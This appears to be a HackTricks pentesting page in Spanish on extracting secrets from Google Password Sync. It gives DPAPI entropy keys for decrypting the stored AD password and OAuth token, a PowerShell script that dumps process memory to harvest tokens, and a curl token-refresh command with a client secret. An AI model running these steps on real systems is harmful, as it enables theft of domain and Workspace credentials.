GPS - Google Password Sync

Support HackTricks

Información Básica

Este es el binario y servicio que Google ofrece para mantener sincronizadas las contraseñas de los usuarios entre el AD y Workspace. Cada vez que un usuario cambia su contraseña en el AD, se establece en Google.

Se instala en C:\Program Files\Google\Password Sync donde puedes encontrar el binario PasswordSync.exe para configurarlo y password_sync_service.exe (el servicio que seguirá ejecutándose).

GPS - Configuración

Para configurar este binario (y servicio), es necesario darle acceso a un principal de Super Admin en Workspace:

  • Iniciar sesión a través de OAuth con Google y luego almacenará un token en el registro (encriptado)

  • Solo disponible en Controladores de Dominio con GUI

  • Proporcionar algunas credenciales de Cuenta de Servicio de GCP (archivo json) con permisos para gestionar los usuarios de Workspace

  • Muy mala idea ya que esas credenciales nunca expiran y podrían ser mal utilizadas

  • Muy mala idea dar acceso a una SA sobre workspace ya que la SA podría ser comprometida en GCP y sería posible pivotar a Workspace

  • Google lo requiere para controladores de dominio sin GUI

  • Estas credenciales también se almacenan en el registro

Respecto al AD, es posible indicarle que use el contexto de aplicaciones actual, anónimo o algunas credenciales específicas. Si se selecciona la opción de credenciales, el nombre de usuario se almacena dentro de un archivo en el disco y la contraseña está encriptada y almacenada en el registro.

GPS - Extracción de contraseña y token del disco

Ten en cuenta que Winpeas es capaz de detectar GPS, obtener información sobre la configuración y incluso desencriptar la contraseña y el token.

En el archivo C:\ProgramData\Google\Google Apps Password Sync\config.xml es posible encontrar parte de la configuración como el baseDN del AD configurado y el username cuyas credenciales se están utilizando.

En el registro HKLM\Software\Google\Google Apps Password Sync es posible encontrar el token de actualización encriptado y la contraseña encriptada para el usuario de AD (si la hay). Además, si en lugar de un token, se utilizan algunas credenciales de SA, también es posible encontrar esas encriptadas en esa dirección del registro. Los valores dentro de este registro son solo accesibles por Administradores.

La contraseña encriptada (si la hay) está dentro de la clave ADPassword y está encriptada usando la API CryptProtectData. Para desencriptarla, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta entropía al usar CryptUnprotectData: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

El token encriptado (si lo hay) está dentro de la clave AuthToken y está encriptado usando la API CryptProtectData. Para desencriptarlo, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta entropía al usar CryptUnprotectData: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; Además, también está codificado usando base32hex con el diccionario 0123456789abcdefghijklmnopqrstv.

Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a CryptUnprotectData y CryptProtectData y luego se utilizó la herramienta para lanzar y monitorear PasswordSync.exe, que desencriptará la contraseña y el token de autenticación configurados al principio y la herramienta mostrará los valores de la entropía utilizada en ambos casos:

Ten en cuenta que también es posible ver los valores desencriptados en la entrada o salida de las llamadas a estas APIs también (en caso de que en algún momento Winpeas deje de funcionar).

En caso de que la sincronización de contraseñas se haya configurado con credenciales de SA, también se almacenará en claves dentro del registro HKLM\Software\Google\Google Apps Password Sync.

GPS - Extracción de tokens de la memoria

Al igual que con GCPW, es posible volcar la memoria del proceso de PasswordSync.exe y los procesos de password_sync_service.exe y podrás encontrar tokens de actualización y acceso (si ya han sido generados). Supongo que también podrías encontrar las credenciales configuradas del AD.

Dump PasswordSync.exe y los procesos password_sync_service.exe y buscar tokens

```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )

Show EULA if it wasn't accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn't exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }

Write-Output "" } }

</details>

### GPS - Generando tokens de acceso a partir de tokens de actualización

Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los alcances admitidos por la aplicación donde está generando el token de acceso.

Además, el token de actualización no es válido en todas las aplicaciones.

Por defecto, GPS no tendrá acceso como el usuario a todos los posibles alcances de OAuth, por lo que utilizando el siguiente script podemos encontrar los alcances que se pueden usar con el refresh_token para generar un access_token:

Last updated